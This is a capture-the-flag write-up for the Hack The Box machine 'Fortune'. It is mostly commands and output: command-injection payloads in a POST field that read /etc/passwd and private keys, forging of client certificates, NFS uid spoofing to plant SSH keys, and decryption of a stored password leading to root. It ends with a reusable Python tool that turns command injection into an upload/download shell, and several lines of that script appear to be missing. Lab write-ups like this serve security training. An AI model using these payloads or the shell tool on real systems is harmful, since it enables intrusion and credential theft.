Fortune write-up

Ανάλυση του Fortune

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox bsd bsd


Port scanning

Let’s scan the full range of TCP and UDP ports using my tool

$ sudo

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive

Starting masscan 1.0.4 ( at 2019-03-12 09:10:57 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Discovered open port 443/tcp on

Running command: sudo nmap -A -p22,80,443

Starting Nmap 7.70 ( ) at 2019-03-12 11:20 EET
Nmap scan report for
Host is up (0.059s latency).

22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.0 (95%), OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (94%), OpenBSD 5.0 (94%), OpenBSD 5.0 - 5.8 (94%), OpenBSD 4.9 (93%), OpenBSD 4.6 (93%), FreeBSD 10.0-CURRENT (93%), OpenBSD 4.7 (92%), OpenBSD 6.0 (92%)
No exact OS matches for host (test conditions non-ideal).

Port 80

Let’s brute-force directories and files on port 80 using gobuster:

$ gobuster -u -w /opt/DirBuster/directory-list-2.3-medium.txt -t 50

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 50
[+] Wordlist     : /opt/DirBuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2019/03/12 11:34:11 Starting gobuster
/fortune (Status: 301)
/select (Method not allowed)

Port 443

When we try to connect to port 443 (https), the browser ask us for a client certificate. We can run a sslyze scan to verify it and get more info:

$ sslyze --regular

 -----------------------------                       =>   WARNING: Server REQUIRED client authentication, specific plugins will fail.


 * Downgrade Attacks:
       TLS_FALLBACK_SCSV:                 OK - Supported
 * Deflate Compression:
                                          OK - Compression disabled
 * OpenSSL CCS Injection:
                                          OK - Not vulnerable to OpenSSL CCS injection

 * Certificate Information:
       SHA1 Fingerprint:                  f5528e05f76ef7013a6ce1b9888e60aa36c4e4a6
       Common Name:                       fortune.htb
       Issuer:                            Fortune Intermediate CA
       Serial Number:                     4096
       Not Before:                        2018-10-30 01:13:42
       Not After:                         2019-11-09 01:13:42
       Signature Algorithm:               sha256
       Public Key Algorithm:              RSA
       Key Size:                          2048
       Exponent:                          65537 (0x10001)
       DNS Subject Alternative Names:     []


Gaining RCE due to command Injection

If we visit, we see a form:

<form action="/select" method="POST">
  <input type="radio" name="db" value="fortunes"> fortunes<br>
  <input type="radio" name="db" value="fortunes2"> fortunes2<br>
  <input type="radio" name="db" value="recipes"> recipes<br>
  <input type="radio" name="db" value="startrek"> startrek<br>
  <input type="radio" name="db" value="zippy"> zippy<br>
<input type="submit" value="Submit">

The parameter ‘db’ is vulnerable to command injection:

$ curl -X POST --data 'db=whatever|id'

<!DOCTYPE html>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<h2>Your fortune is:</h2>

uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)

<p>Try <a href='/'>again</a>!</p>

Thus, we have gained Remote Command Execution to this machine.

Here is the relevant backend code ( for reference:

from flask import Flask, request, render_template, abort
import os

app = Flask(__name__)

@app.route('/select', methods=['POST'])
def fortuned():

    cmd = '/usr/games/fortune '
    dbs = ['fortunes', 'fortunes2', 'recipes', 'startrek', 'zippy']
    selection = request.form['db']
    shell_cmd = cmd + selection
    result = os.popen(shell_cmd).read()
    return render_template('display.html', output=result)

Acquiring a client certificate

If we search a little the home folders, we find some private keys:

$ curl --silent -X POST --data 'db=whatever|ls -al /home/bob/ca/intermediate/private/'
total 20
drwxr-xr-x  2 bob  bob   512 Oct 29  2018 .
drwxr-xr-x  7 bob  bob   512 Nov  3  2018 ..
-r--------  1 bob  bob  1675 Oct 29  2018 fortune.htb.key.pem
-rw-r--r--  1 bob  bob  3243 Oct 29  2018 intermediate.key.pem

Well, we don’t have permissions to read fortune.htb.key.pem, but we can read intermediate.key.pem:

$ curl --silent -X POST --data 'db=whatevat|cat /home/bob/ca/intermediate/private/intermediate.key.pem' | grep -zo '\-\-.*\-\-' > intermediate.key.pem

Inside /home/bob/ca/intermediate/certs/ there is the respective certificate:

$ curl --silent -X POST --data 'db=whatever|cat /home/bob/ca/intermediate/certs/intermediate.cert.pem' | grep -zo '\-\-.*\-\-' > intermediate.cert.pem

We can combine the certificate and private key to a pkcs#12 file which we can import to our browser:

$ openssl pkcs12 -inkey intermediate.key.pem -in intermediate.cert.pem -export -out client.p12
Enter Export Password: pass
Verifying - Enter Export Password: pass

Now, let’s import client.p12 to your browser and visit (When we are being asked for it, we choose our recently imported client certificate. We also have to add an exception for the self-signed certificate of the website server). If we want to use curl the following command is sufficient:

$ curl --insecure --key intermediate.key.pem --cert intermediate.cert.pem
<!DOCTYPE html>
<title>Elevated network access</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
You will need to use the local authpf service to obtain
elevated network access. If you do not already have the appropriate
SSH key pair, then you will need to <a href='/generate'>generate</a>
one and configure your local system appropriately to proceed.

SSH authentication to authpf

It works! If we visit we see that:

AuthPF SSH Access
The following public key has been added to the database of authorized keys:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5mx7yvTtW2FYsO+zwdqePx+44nyc+PnzD/4u+vS3nEIyQMUqeKKIFBMLNiKLnMfCUb4KZWm9r4qG45NWSITDF7t70z1co4ZrDz5wyLhQxZiZ2ZK9AzIzFECfYTFCMiLO7WAWS2fyK/KiYftFo6BNySgI/+tRuzZmaqbNqkjwF7o1ppaHUS415stjzNm+ohhMtVY5gDxsJen/aYzyPYH/ac4LOHNWqnxE1m21qyITGOQlCOjOP4wVfHbaT7mTBUSPDuHnA68WdAV0hwIKNOSFz/KiMA9yqbA7Tswpv2njS9FTta+yfeIcDdNcio5OVr5FrEpiljL88LIwXz1uoC5yL
The corresponding private key is as follows:


Please save the above key pair to your local system with appropriate file permissions and use your OpenSSH client with the -i option to obtain elevated network access to the server.

Please note: If the IP address of your local system changes, then you may need to generate a new key pair.

We can copy this private key and paste it into a file, but -as you have noticed- I prefer doing things a bit differently (^_^):

$ curl --silent --insecure --key intermediate.key.pem --cert intermediate.cert.pem | grep -zo '\-\-.*\-\-' > fortune_id_rsa

Don’t forget to set the required strict permissions:

chmod 600 fortune_id_rsa

But for whom user is this key? Let’s examine /etc/passwd

$ curl -X POST --data 'db=whatever|cat /etc/passwd'

root:*:0:0:Charlie &amp;:/root:/bin/ksh

We notice that one user has been set for authpf as his user shell. Let’s see what happens if we try to connect using this nfsuser user and the private key we acquired:

$ ssh -i fortune_id_rsa nfsuser@

Hello nfsuser. You are authenticated from host ""

OK. We have been authenticated but we cannot execute any command… What exactly is authpf?

The authpf utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through. When a user’s shell is set to /usr/sbin/authpf and they log in using SSH, authpf will make the necessary changes to the active pf ruleset so that the user’s traffic is passed through the filter and/or translated using NAT/redirection. Once the user logs out or their session is disconnected, authpf will remove any rules loaded for the user and kill any stateful connections the user has open. Because of this, the ability of the user to pass traffic through the gateway only exists while the user keeps their SSH session open.

Hmmm… Interesting…

2nd Enumeration (having ntfuser authenticated to authpf via ssh)

Let’s try to enumerate the ports/services again. This time while we are authenticated to authpf as ntfuser via ssh (make sure you have/keep that ssh session open):

$ sudo

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive

Starting masscan 1.0.4 ( at 2019-03-15 21:00:54 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 111/tcp on
Discovered open port 817/tcp on
Discovered open port 2049/tcp on
Discovered open port 8081/tcp on
Discovered open port 80/tcp on
Discovered open port 443/tcp on
Discovered open port 22/tcp on

Running command: sudo nmap -A -p22,80,111,443,817,2049,8081

Starting Nmap 7.70 ( ) at 2019-03-15 23:04 EET
Nmap scan report for fortune.htb (
Host is up (0.067s latency).

22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp   open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3         2049/tcp  nfs
|   100003  2,3         2049/udp  nfs
|   100005  1,3          817/tcp  mountd
|_  100005  1,3          889/udp  mountd
443/tcp  open  ssl/https?
|_ssl-date: TLS randomness does not represent time
817/tcp  open  mountd     1-3 (RPC #100005)
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (95%), OpenBSD 5.0 - 5.8 (95%), FreeBSD 10.0-CURRENT (94%), OpenBSD 4.0 (94%), OpenBSD 5.0 (93%), OpenBSD 4.1 (93%), OpenBSD 4.6 (93%), OpenBSD 4.7 (93%), OpenBSD 6.0 (93%)

Wow! Now, we have access to more ports! We notice an nfs service:

$ showmount -e

Export list for
/home (everyone)

Spoofing uid/gid using nfsshell

Neat, we have access to an nfs mount! We can use nfsshell to spoof our uid/gid:

$ sudo nfsshell
nfs> host
Using a privileged port (1023)
Open ( TCP
nfs> export
Export list for
/home   everyone
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> ls
nfs> get user.txt
nfs> get mbox
nfs> quit
Unmount '/home'
Close ''

$ cat user.txt

Alternatively, If you have a user with uid=1000, you can simply mount the nfs share and read charlie’s files:

$ mkdir mnt_point
$ sudo mount -t nfs mnt_point -o nolock
$ cat mnt_point/charlie/user.txt

Getting charlie shell

Of course we can add our public key to charlie’s authorized_keys:

$ cat ~/.ssh/ >> mnt_point/charlie/.ssh/authorized_keys

Or we can use nfsshell for this as we did before:

$ sudo nfsshell
nfs> host
Using a privileged port (1023)
Open ( TCP
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> cd .ssh
nfs> put authorized_keys
WARNING: Create failed: File exists
nfs> quit
Unmount '/home'
Close ''

Now, we can connect via SSH using public key authenticaion:

$ ssh -i ~/.ssh/id_rsa2 charlie@
Last login: Sat Aug  3 04:36:55 2019 from
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Privilege escalation

Let’s examine what there is inside ‘mbox’ file:

$ cat mbox

From bob@fortune.htb Sat Nov  3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
	by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
	for <charlie@fortune.htb>;
	Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From:  <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.



Password reuse… Let’s search /var/appsrv/pgadmin4/pgadmin4.db:

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep bob

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep charlie

fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep dba

Luckily for us, pgadmin4 is open source. Let’s grab this script:

All we need to do is to add one line in the end:

# pgAdmin 4 - PostgreSQL Tools
# Copyright (C) 2013 - 2019, The pgAdmin Development Team
# This software is released under the PostgreSQL Licence

"""This File Provides Cryptography."""

from __future__ import division

import base64
import hashlib
import os

import six

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8

padding_string = b'}'
iv_size = AES.block_size // 8

def decrypt(ciphertext, key):
    Decrypt the AES encrypted string.

        ciphertext -- Encrypted string with AES method.
        key        -- key to decrypt the encrypted string.

    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:iv_size]

    cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()

def pad(key):
    """Add padding to the key."""

    if isinstance(key, six.text_type):
        key = key.encode()

    # Key must be maximum 32 bytes long, so take first 32 bytes
    key = key[:32]

    # If key size is 16, 24 or 32 bytes then padding is not required
    if len(key) in (16, 24, 32):
        return key

    # Add padding to make key 32 bytes long
    return key.ljust(32, padding_string)

print(decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz", "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg"))

That is we use the ‘decrypt’ function to decrypt dba’s password which was encrypted using Bob’s AES encyption key. PBKDF2 (Password-Based Key Derivation Function 2) is a key derivation function with a sliding computational cost (to reduce susceptibility to brute force attacks). We run the script and we get the password for root:

$ python 

fortune$ su root
Password: R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
fortune# cat /root/root.txt

Bonus script:

Sometimes, we have some kind of Remote Command Execution but we cannot gain a full working shell (due to firewalls et.c). I wrote this script for such cases. It tries to emulate a shell experience. Moreover, it offers download/upload capabilities using a variety of OS tools. Note, though, that this is still work in progress. In the future, I would like to make it quite broad in the sense of OSes/tools and RCEs it supports. But I don’t know if I ever find the time to do that.

Anyway, for the time being, you can try it on the Fortune box.

#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Status: WIP (Work In Progress)
# Define a variable rce like this:
# rce = {"method":"POST",
#        "url":"",
#        "data":"db=fortunes2%7C__RCE__%20%23",
#        "remote_os":"unix",
#        "timeout":30}
# Use __RCE__ to mark the command injection point.
# To upload a file type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt /tmp/myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# To download a file: DOWNLOAD remote_path
# e.g. $ DOWNLOAD /temp/myfile.txt

import os
import re
import sys
import uuid
import copy
import tqdm
import shlex
import base64
import hashlib
import requests
    # Python 2.X
    from urllib import quote
    input = raw_input
except ImportError:
    from urllib.parse import quote  # Python 3+

DEBUG = False
# Redirect stderr to stdout?
ERR2OUT = True
# A unique sequence of characters that marks start/end of output.
UNIQUE_SEQ = uuid.uuid4().hex[0:6]
UNIX_TOOLS = {"b64enc": {"base64":"base64",
                         "openssl":"openssl base64 -A"},
              "b64dec": {"base64":"base64 -d",
                         "openssl":"openssl base64 -A -d",
                         "python":"python -m base64 -d"},
              "md5sum": {"md5sum":"md5sum",
                         "md5":"md5 -q"}}

def memoize(function):
  memo = {}
  def wrapper(*args):
    if args in memo:
      return memo[args]
      rv = function(*args)
      memo[args] = rv
      return rv
  return wrapper

def send_command(command, rce, enclose=False):
        client = requests.session()
        client.verify = False
        client.keep_alive = False
        if enclose:
            cmd = "echo " + UNIQUE_SEQ + ";" + command + ";echo " + UNIQUE_SEQ
            cmd = command
        if DEBUG: print(cmd)
        if rce["method"] == "GET":
            response = client.get(url, timeout=rce["timeout"])
        elif rce["method"] == "POST":
            data = rce["data"].replace("__RCE__", quote(cmd))
            headers = {"Content-Type":"application/x-www-form-urlencoded"}
            response =["url"], data=data,
        if response.status_code != 200:
            print("Status: "+str(response.status_code))
        if DEBUG: print(response.text)
        if enclose:
            return response.text.split(UNIQUE_SEQ)[1]
            return response
    except requests.exceptions.RequestException as e:
        if client:

def find_tool(tool_type):
    for tool_name in sorted(UNIX_TOOLS[tool_type].keys()):
        cmd = "which " + tool_name + " && echo FOUND || echo FAILED"
        response = send_command(cmd, rce)
        if "FOUND" in response.text:
            return UNIX_TOOLS[tool_type][tool_name]
    return None

def download(rce, remote_path):
    cmd = find_tool("md5sum") + " '" + remote_path + "'"
    response = send_command(cmd, rce, enclose=True)
    remote_md5sum = response.strip()[:32]
    cmd = "cat '" + remote_path + "' | " + find_tool("b64enc")
    b64content = send_command(cmd, rce, enclose=True)
    content = base64.b64decode(b64content)
    local_md5sum = hashlib.md5(content).hexdigest()
    print("Remote md5sum: " + remote_md5sum)
    print(" Local md5sum: " + local_md5sum)
    if  local_md5sum == remote_md5sum:
        print("               MD5 hashes match!")
        print("               ERROR! MD5 hashes do NOT match!")
    with open(os.path.basename(remote_path), "wb") as f:

def upload(rce, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    if rce["remote_os"] == "unix":
        cmd = "> '" + remote_path + ".b64'"
    elif rce["remote_os"] == "windows":
        cmd = 'type nul > "' + remote_path + '.b64"'
    send_command(cmd, rce)

    with open(local_path, 'rb') as f:
        data =
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = base64.b64encode(data).decode('ascii')
    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> "' + remote_path + '.b64"'
        send_command(cmd, rce)
    #print("Remaining: "+str(len(b64enc_data)-i))
    if rce["remote_os"] == "unix":
        cmd = "cat '" + remote_path + ".b64' | " + find_tool("b64dec") + " > '" + remote_path + "'"
        send_command(cmd, rce)
        cmd = find_tool("md5sum") + " '" + remote_path + "'"
        response = send_command(cmd, rce)
    elif rce["remote_os"] == "windows":
        cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
        send_command(cmd, rce)
        cmd = 'certutil -hashfile "' + remote_path + '" MD5'
        response = send_command(cmd, rce)
    if md5sum in response.text:
        print("               MD5 hashes match: " + md5sum)
        print("               ERROR! MD5 hashes do NOT match!")

def shell(rce):
    global DEBUG
    stored_cwd = None
    user_input = None
    if rce["remote_os"] == "unix":
        get_info = "whoami;hostname;pwd"
    elif rce["remote_os"] == "windows":
        get_info = 'echo %username%^|%COMPUTERNAME% & cd'
    while True:
        cmd = ""
        if stored_cwd:
            cmd += "cd " + stored_cwd + ";"
        if user_input:
            cmd += user_input
            cmd += " 2>&1;" if ERR2OUT else ";"
        cmd += get_info
        response = send_command(cmd, rce, enclose=True)
        lines = response.splitlines()
        user, host, cwd = lines[-3:]
        stored_cwd = cwd
        for output in lines[1:-3]:
        user_input = input("[" + user + "@" + host + " " + cwd + "]$ ").rstrip("\n")
        if user_input.lower().strip() == "exit":
        elif user_input[:8] == "DEBUG ON":
            DEBUG = True
            user_input = "echo 'DEBUG is now ON'"
        elif user_input[:9] == "DEBUG OFF":
            DEBUG = False
            user_input = "echo 'DEBUG is now OFF'"
        elif user_input[:8] == "DOWNLOAD":
            remote_path = shlex.split(user_input, posix=False)[1]
            if remote_path[0] != '/':
                remote_path = stored_cwd + "/" + remote_path
            download(rce, remote_path)
            user_input = "echo '               *****  DOWNLOAD FINISHED  *****'"
        elif user_input[:6] == "UPLOAD":
            upload_cmd = shlex.split(user_input, posix=False)
            local_path = upload_cmd[1]
            if len(upload_cmd) < 3:
                remote_path = stored_cwd + "/" + os.path.basename(local_path)
                upload(rce, local_path, remote_path)
                remote_path = upload_cmd[2]
                if remote_path[0] != '/':
                    remote_path = stored_cwd + "/" + remote_path
                upload(rce, local_path, remote_path)
            user_input = "echo '               *****  UPLOAD FINISHED  *****'"

rce = {"method":"POST",


$ python 
[_fortune@fortune.htb /var/appsrv/fortune]$ ls -al
total 104
drwxr-xr-x  4 _fortune  _fortune    512 Feb  3 05:08 .
drwxr-xr-x  5 root      wheel       512 Nov  2  2018 ..
drwxrwxrwx  2 _fortune  _fortune    512 Nov  2  2018 __pycache__
-rw-r--r--  1 root      _fortune    341 Nov  2  2018 fortuned.ini
-rw-r-----  1 _fortune  _fortune  35638 Aug  3 06:00 fortuned.log
-rw-rw-rw-  1 _fortune  _fortune      6 Aug  3 03:13
-rw-r--r--  1 root      _fortune    413 Nov  2  2018
drwxr-xr-x  2 root      _fortune    512 Nov  2  2018 templates
-rw-r--r--  1 root      _fortune     67 Nov  2  2018

See also...

Δείτε επίσης...